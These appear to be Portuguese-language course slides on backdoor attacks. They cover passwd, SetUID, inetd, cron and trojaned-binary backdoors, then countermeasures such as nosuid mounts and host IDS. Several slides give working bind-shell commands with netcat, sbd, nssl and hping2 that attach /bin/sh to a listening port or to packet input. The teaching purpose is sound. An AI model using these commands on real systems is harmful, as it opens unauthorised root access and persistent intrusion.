Cap9-Backdoors

Propaganda
Ataques com Backdoors
Conceito

Backdoor (porta dos fundos) é um trecho de
código mal-intencionado que cria uma ou mais
falhas de segurança para dar acesso ao sistema
operacional para pessoas não autorizadas.

Esta falha de segurança criada é análoga a uma
porta dos fundos por onde a pessoa mal
intencionada pode entrar (invadir) o sistema.
Como inserir

Backdoors podem ser inseridos
propositalmente pelos criadores do
sistema ou podem ser obra de terceiros
mal intencionados, usando para isso, um
vírus, verme ou cavalo de tróia).
Backdoor

O termo pode ser usado de forma mais
ampla para designar formas furtivas de
se obter informações privilegiadas em
sistemas de todo tipo.
Spywares

Consistem programas automáticos de
computador, que recolhem informações
sobre o usuário, sobre seus costumes na
Internet e transmite esta informação a
uma entidade externa na Internet, sem o
seu conhecimento e o seu consentimento.
Spywares

Diferem dos Cavalos de Tróia por não
terem como objetivo que o sistema do
usuário seja dominado, seja manipulado,
por uma entidade externa, por um cracker.
Proteção

A proteção mais comum contra
Backdoors em computadores pessoais é
o uso de firewalls e de IDS. De modo
geral, Backdoors que atuam através da
Internet podem ser detectados (por um
IDS) ou impedidos de atuar (pelo firewall).

Ou por programas Anti-Spiwares.
Backdoors






Criam “portas de fundo” em um sistema
operacional.
Backdoor em sistemas UNIX.
Necessitam de acesso local à máquina.
Técnica que consiste em garantir uma forma
de acesso a um determinado sistema
operacional de forma não-convencional.
Acesso com direitos de root (superusuário).
Portas ocultas através de serviços triviais.
Backdoors

Meio de garantir a volta ao sistema
(acessos futuros), numa nova intrusão, no
sentido de poupar trabalho.

Vão desde aquelas que abrem uma
porta através de um shell, até aquelas
que surgem da instalação de rootkits
capazes de automatizar o processo de
uma intrusão.
Backdoors

Backdoor do Passwd
Registrar uma conta do usuário backdoor:
/etc/passwd (UNIX)
/etc/shadow (distribuições Linux)

A mais fácil de se fazer, mas a mais fácil
de ser detectada.
Backdoor
Backdoor do SetUID
 Existe uma permissão especial em UNIX e
Linux, que um determinado arquivo pode
vir a ser executado por qualquer usuário
com direito de root.
 Isto é chamado SetUID.
 A partir dessa possibilidade pode-se criar
uma backdoor para dar direito a usuário
do sistema o mesmo direito de root.

Backdoor

Backdoor do Inetd
O /etc/inetd.conf é o arquivo por onde
se pode iniciar serviços do UNIX e Linux.
Assim, é possível criar um serviço
especial para que possamos ter acesso
aos sistema com direito de root.
Backdoor

Backdoor com Hora Marcada
A backddoor é criada de forma
agendada, aproveitando, os recursos do
AT ou Crontab. Por exemplo, agendando
no Crontab uma tarefa que nada mais é
que o script para fazer funcionar a
backdoor no tempo agendado.
Backdoors Inetd e Passwd

Técnicas antigas

Script com requinte de engenhosidade
usando-se o comando split (o uso do
esquema de dividir o arquivo e jogar
as informações no meio do arquivo
através do comando split).
Backdoors de SuitBit

Backdoors baseados em SuitBit

SuitBit significa acesso com SetUID e
SetGID.

Consistem em fazer cópia de um shell
vulnerável à manipulação de SuitBit
(chmod a+s na máquina vítima) e
atribuir SuitBit a essa cópia.
Backdoors de SuitBit

Sofisticação das backdoors de SuitBit, que
na sua maioria já não são simplesmente
arquivos ocultos cópias de shell, são
camufladas de maneira que um comando
genérico possa acioná-la.

São bastante populares, por poderem ser
adaptados a qualquer UNIX.
Backdoors de SuitBit

Um exemplo é um cracker executar com
senha de root, um programa para
executar um shell baseado na técnica de
SuidBit.
Backdoor de SuidBit

Uma forma de proteger o sistema
contra esse tipo de backdoor, é usar a
instrução “nosuid” no arquivo
/etc/fstab, na respectiva linha
correspondente ao /home e /tmp, que
são onde os crackers geralmente
tentam criar esse tipo de backdoor.
Backdoor de SuidBit
Substituindo Arquivo de Comando
Criar um arquivo que pode substituir um arquivo de
comando, não muito usado, como por exemplo,
/bin/cpio ou /bin/rm.
 O cracker move o rm original para /bin/rm.original.
 Compila o código “gcc –o rm backdoor”.
 Atribui SuidBit.
 Toda vez que é executado rm sem argumentos, na
realidade é executado, via chamada interna do
sistema, o /bin/rm.original e, quando for passado o
parâmetro “ninja”, é executada a backdoor.

Exemplos de Backdoor

O código, após compilado, estabelece o
SuidBit e a backdoor só é gerada com a
digitação da palavra-chave reconhecida.

Backdoor desenvolvida em script para o
shell BASH, com o uso do esquema de
dividir o arquivo e colocar as
informações no meio do arquivo através
do comando split.
Backdoors através de
Ferramentas

Úteis para um administrador, mas podendo serem
usadas por crackers.

Netcat

SBD

NSSL

Hping2 (montador de pacotes)
Netcat
Netcat pode ser usada para varreduras
UDP e TCP.
 Um recurso para um invasor em um
ambiente que tenha instalado o Netcat é a
possibilidade de colocá-lo no modo de
“listen” (ouvindo) em uma porta com uma
aplicação vinculada.
 Imagine que essa aplicação seja um
interpretador de comando (shell) sh.

Netcat

Teremos uma backdoor simples em atividade, fazendo:

O Netcat é ativado através de um shell na porta 55555:
#> nc -l -p 55555 -e /bin/sh &

Para se conectar o invasor deve fazer:
#> nc ip.ip.ip.ip 55555
isto cria um socket na porta ativa 55555 de um servidor
de <ip>, que tem o serviço TCP ativo fornecido pelo
shell sh.
Netcat

Se esse procedimento for executado com
senha de root, o usuário que ativou o
Netcat é que terá esse direito.
SBD (Variante do Netcat)

Para sistemas UNIX ou Windows.

Possui todos os recursos do Netcat, mas o
que é notável é que suporta criptografia
com “AES-CBC-128+HMAC-SHA1
encryption)”, o que permite comunicações
cifradas.
SBD (Variante do Netcat)

Para plataformas UNIX
(Linux, FreeBSD, OpenBSD, NetBSD, ... )
deve-se executar o comando make para
obter as várias formas de compilação:
#> make unix

Para SunOS/Solaris:
#> make sunos
SBD (Variante do Netcat)

Para Windows Win32 (NT/2000/XP) é necessário o MinGW+MSYS
ou Cygwin instalado com toda a base de desenvolvimento:

Para compilar para Cygwin padrão:
#> make win32
Com MSYS:
#> make mingw
Para modo WinMain com Cygwin:
#> make win32bg
Sob MSYS:
#> make mingwbg

Para compilar para console Cygwin:
#> make cygwin
SBD (Variante do Netcat)

O que é Pen-Test
Deve-se confrontar o que denominamos
como seguro em nossos sistemas
computacionais e ter uma dimensão mais
realista de quanto são (ou não são)
realmente seguros.

Pen-Test com SBD (exemplo a seguir)
Backdoor para Pen-Test com
SBD
1. De forma simples (sem chave)
#> sbd -l -p 12345 -e /bin/sh
Para se concetar à backdoor:
#> sbd 192.168.200.171 12345
2. Criando uma chave “ninja”para a conexão:
#> ./sbd -l -p 12345 -k ninja -e /bin/sh
Para se concetar à backdoor com a chave:
#> sbd -k ninja 192.168.200.171. 12345
NSSL
Uma variante do Netcat com suporte a
SSL.
 Requer OpenSSL.
 Suporte SSL v.3
 Possibilita leitura de banners em
serviços que utilizam SSL.

Exemplos de backdoor com
NSSL
1. Sem suporte a SSL:
nssl –rcl 1111 –e /bin/bash
Para se conectar à backdoor:
nssl 192.168.100.171 1111
2. Com suporte a SSL:
nssl –cl 2222 –e /bin/bash
Para se conectar à backdoor:
nssl 192.168.100.171 2222
Hping2

Similar ao Netcat, o Hping pode ser utilizada por
um cracker na construção de uma backdoor.

Hping2 deve ser instalada somente na máquina
do administrador e não num servidor. Nem em
uma DMZ.

Documentação original do Hping: referência
sobre como se criar uma backdoor utilizando
Hping2.
DMZ – Zona Desmilitarizada


DMZ = Uma LAN de Isolamento
Um ambiente parcialmente protegido.

É uma rede local que isola uma rede corporativa do
mundo exterior.

Assim, isola a rede corporativa, da Internet.

Possui um endereço de rede exclusivo, que difere do
endereço da rede corporativa.

A DMZ é a única que pode ser vista de fora.
DMZ – Uma LAN parcialmente
protegida
Uma DMZ é criada por um roteador de
perímetro (o ponto de demarcação entre uma
rede desprotegida e uma rede parcialmente
protegida – a Internet e a DMZ, por exemplo);
 Hosts de segurança (um servidor protegido
que fornece serviços ao mundo exterior, tais
como FTP, Web, DNS, SMTP e Proxy Web) e;
 Gateways de aplicativo (firewalls que
inspeciona mensagens no nível dos aplicativos)

Hping2

Para a construção de uma backdoor, utiliza-se a opção -9
(listen) combinada com o “|” (pipe) com uma chamada
de shell, como /bin/sh.

#> hping -i eth0 -9 cmd | /bin/sh

Todos os pacotes que contenham “cmd” (uma string prédefinida) serão processados e os bytes seguintes ao
“cmd”, também.

Desta forma, uma backdoor com Hping2 pode ser furtiva
o suficiente em um sistema violado.
Hping2

Imagine um cenário em que um administrador
costume instalar aplicativos poderosos, como o
Hping2, para fins de teste e não os remova.

A backdoor é um processo ativo, mas um invasor
pode ocultar esse processo forjando comandos com
ps e fuser.

Um servidor com o Hping2 instalado pode ser
facilmente manipulado remotamente por uma backdoor
que não precisa criar um usuário da porta de
qualquer serviço TCP ativo.
Hping2
Mesmo que exista uma política de
segurança de perímetro bem
elaborada, ainda assim seria possível a
passagem de comandos para a
máquina invadida, pois seria feita
através de um serviço oficialmente
disponível cuja comunicação seria
liberada via Firewall.
 Veja exemplo a seguir:

Backdoor com Hping2 através de
SMTP

Seja uma string pré-definida concatenada a um comando: cmdls

O seguinte exemplo mostra uma conexão com a backdoor através
do serviço SMTP Sendmail, porta 25 de serviço TCP ativo.

O “;” final indica o fim do comando para o Hping2 que irá executálo.

$> telnet 192.168.1.1 25 (xpto.lammer.xxx.br)
Trying... 192.168.1.1
Connected to lammer (192.168.1.1).
Escape character is `^]`.
220 192.168.1.1 ESMTP Sendmail
cmdls;
Contramedidas para Backdoors

Lembrar das backdoors mais engenhosas !
Uma backdoor simples como a do /etc/passwd
pode ser instalada apenas para desviar a
atenção do administrador. Este a remove e na
sequência aplica um patch de correção e assume
que o problema está resolvido.

Técnicas de backdoor podem ser empregadas
por invasores internos.
Contramedidas para Backdoors

Um mecanismo recomendável para
qualquer servidor é a utilização de IDS de
hosts, para que o administrador tenha a
capacidade de avaliar o quanto seu
sistema foi comprometido.
Contramedidas para Backdoors

Mas, invasores com conhecimentos avançados
podem utilizar técnicas para ultrapassar o IDS
de host, caso este tenha alguma limitação
visível.
Para UNIX BSD e Linux, temos o IDS de host
Tripwire (Tripwire.org - Home of the
Tripwire Open Source Project)
 http://www.tripwire.org/downloads/index.php

Contramedidas para Backdoors

Aplicar políticas de segurança no sistema
de arquivos dos servidores. Em Linux e
UNIX BSD, opções noexec, nodev e
nosuid, tornarão os sistemas mais
seguros.
Contramedidas para Backdoors

Eliminar do servidor todo recurso desnecessário.

Serviços que não são usados e ferramentas propícias a
invasores, como Hping, Netcat, Wget, ...

Wget (GNU wget is a free software package for
retrieving files using HTTP, ...)
www.gnu.org/software/wget/wget.html

Recomendação da Norma Internacional de Segurança
BS17799 (item 9.5.5), seguida pela ABNT.
Download